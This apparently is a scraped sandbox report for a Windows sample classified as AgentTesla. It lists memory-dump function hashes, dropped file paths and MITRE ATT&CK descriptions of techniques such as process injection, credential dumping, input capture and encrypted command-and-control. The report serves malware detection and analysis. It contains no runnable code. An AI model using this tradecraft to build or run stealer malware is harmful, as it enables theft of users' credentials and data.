Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8df452c7e6bc51a3cfabf2de3bdd63d8f5267f3c66eceffa42880e860bbacd0e
Instruction ID: bc02f09ba5e759a2968cc60ba0bd56fe0b5c45f5cf1576dca394dfa2b2c54799
Opcode Fuzzy Hash: 8df452c7e6bc51a3cfabf2de3bdd63d8f5267f3c66eceffa42880e860bbacd0e
Instruction Fuzzy Hash: 1A214838A00205CFCB54DB78D5A9BAD77F1EF4D305B1048A8E406EB3A0DB759D01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02AA16B0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fbfba4c2cbe8d4a14d54d658ba6e1fa396ef1d52939bf329aab7ae9ca368a0c
Instruction ID: 45495ad1455ff30a58d8b437499fbee257c8fd24990dda5b900b74d76580960e
Opcode Fuzzy Hash: 0fbfba4c2cbe8d4a14d54d658ba6e1fa396ef1d52939bf329aab7ae9ca368a0c
Instruction Fuzzy Hash: 932103346101019FDF26EB68F9D4B6D3769EF85314F105A25E00ACB2A9EF68DC4ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 02AA4F98 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f856a55f838abcb350f2571ab114ba80c30254b5def7feb2c8e943f63dcbe0e9
Instruction ID: 27c6220a228b52a229f09d0a99fdf69893784692ab36fa114fa069615e73feaa
Opcode Fuzzy Hash: f856a55f838abcb350f2571ab114ba80c30254b5def7feb2c8e943f63dcbe0e9
Instruction Fuzzy Hash: C9210538A40205CFCB54EB78D5A9BAD77F2EF49705B104868E406EB3A0DF769D01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02AA187A Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: addd223aa25af43b4f6faca67da2a0873ec40357bff354931d8dc4f6ba7e4826
Instruction ID: 7cb8931d7a8c9ad51923ae00491347d7bb2913c1698d60ff66520f0399b7bedd
Opcode Fuzzy Hash: addd223aa25af43b4f6faca67da2a0873ec40357bff354931d8dc4f6ba7e4826
Instruction Fuzzy Hash: FE214834A00205DFDB64EB64C6657AD77F6FF49245F100469D10AEB2A4DF368D41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02AA0848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ffe3dd9c0f5bc2835c4ccb7fe254c0117c03d22731627640214a31fa0595d97
Instruction ID: 4d6264446b0c4d31c332436fafa7a8ec25f99c6c16e6342fa80b3ecccd1bd507
Opcode Fuzzy Hash: 0ffe3dd9c0f5bc2835c4ccb7fe254c0117c03d22731627640214a31fa0595d97
Instruction Fuzzy Hash: 16119130B002088FEF55ABB9D9A473A3765FF89314F51487AD406CB294DF29CC428BC6

Uniqueness

Uniqueness Score: -1.00%

Function 02AA0838 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b28cde4e76ca3f32d2e0ef443b0a64518816a8b7b3d792f1b6e2f9e88e66b13e
Instruction ID: a72a9b528071e1c00c5c84f0fd200764a5442e928ffee797fc7f828c35bdaa60
Opcode Fuzzy Hash: b28cde4e76ca3f32d2e0ef443b0a64518816a8b7b3d792f1b6e2f9e88e66b13e
Instruction Fuzzy Hash: 3711C630B002048FEF155BB8D9A477A3765EF8A355F11487AD446CB285DF29C8468BCA

Uniqueness

Uniqueness Score: -1.00%

Function 028DD005 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3232679069.00000000028DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 028DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_28dd000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 775eec5873da06adc15fb8bea61663acc563d7c3719d52a6719138802b54e8e7
Instruction ID: 47ae8f6b96d5301ebdfd499324b15e082d97e4b7cb981a14284a002a08f732d0
Opcode Fuzzy Hash: 775eec5873da06adc15fb8bea61663acc563d7c3719d52a6719138802b54e8e7
Instruction Fuzzy Hash: F42184795093C08FDB16CF24D994715BF71EB86214F28C5EAD8498F697C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 02AA1487 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8d1336e27e6d8d2d86789e456e4208b410a3fa47e22ea411780d567095bc3c2
Instruction ID: 73b8c74b06d90a5c402652145a24c4a113afa35327309021e4f6cb02ec311b3a
Opcode Fuzzy Hash: a8d1336e27e6d8d2d86789e456e4208b410a3fa47e22ea411780d567095bc3c2
Instruction Fuzzy Hash: 26113C71A103559FDB65EFB885A03AD7BF5EF48210F24447AD80AE7201EB35C9428B91

Uniqueness

Uniqueness Score: -1.00%

Function 02AA1498 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff54ed1780166acca6ecde0a27453f499baaa9e28662de68e938bd4562c12552
Instruction ID: bcd67217aef3a10e5a78fe4a5b73cd80ab1604445a961f1b4c0a916cf3d685cc
Opcode Fuzzy Hash: ff54ed1780166acca6ecde0a27453f499baaa9e28662de68e938bd4562c12552
Instruction Fuzzy Hash: 8A014071A003159FCB65EFB885A03AE7BF6EF48250F15047AD80AE7300EB35C8418BD5

Uniqueness

Uniqueness Score: -1.00%

Function 02AA80F1 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b91ba0942d332a478aae2021f69e5257f4282a1228c1d5e4aa0c832c626dccd4
Instruction ID: a7284e066a320cc979c8a4d761d72efd18bf277085b5c5554bb303d7cacb3626
Opcode Fuzzy Hash: b91ba0942d332a478aae2021f69e5257f4282a1228c1d5e4aa0c832c626dccd4
Instruction Fuzzy Hash: 55018834A00149AFCF15FFB8F95199D7BB9EF41310F1046B8C4019B1A9EF356A4ADB81

Uniqueness

Uniqueness Score: -1.00%

Function 02AA1524 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54f2a3307ffda589e6170f22077fe841a75a6733a0c01b1f4b7550ad04e328ce
Instruction ID: 20e455a0991f7af79bf366fa4d340656c91af7f17296c020b94d79b49f4f2aab
Opcode Fuzzy Hash: 54f2a3307ffda589e6170f22077fe841a75a6733a0c01b1f4b7550ad04e328ce
Instruction Fuzzy Hash: 13F02B73A04151EFD7229BE8D4F02AC7B71EE59211B1900D7C80ADB201DB25D442CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02AA7090 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36812f565b55848914173711400c2dd93038be32aa9bd0f2361e9861d442de8b
Instruction ID: 833c3d8f980c0313f5b7dda3ef0a6304cdd723a45d67957d21ea9fac799e9bfb
Opcode Fuzzy Hash: 36812f565b55848914173711400c2dd93038be32aa9bd0f2361e9861d442de8b
Instruction Fuzzy Hash: 25F0C439B002088FC714DB64D6A9BAD77B2EF88715F1180A9E5069B3A4DF35AD02CB40

Uniqueness

Uniqueness Score: -1.00%

Function 02AA8100 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3233119337.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2aa0000_VKkzqGUhsZwwm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b797267c0226df85934feea9a65b543b6298279cd106824999f606b30ffd6d5f
Instruction ID: 15ab4de4f6cc183a4d33612362919902154f2e7d9f384f57eb6ee21134c1832b
Opcode Fuzzy Hash: b797267c0226df85934feea9a65b543b6298279cd106824999f606b30ffd6d5f
Instruction Fuzzy Hash: 86F0E138A40149EFCF05FFA8FA5199DBBB9EF80300F504678C40597269EB356E4A9B91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report P020241901.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\P020241901.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VKkzqGUhsZwwm.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4gbcp5mo.svp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kukwo04m.elw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngjuznog.vlp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ruetq44x.yc0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1rydocn.w14.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_stcfywtp.z2r.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tijkny5d.u50.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ysdjgrp2.ove.ps1

C:\Users\user\AppData\Local\Temp\tmpBEA.tmp

Windows Analysis Report
P020241901.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre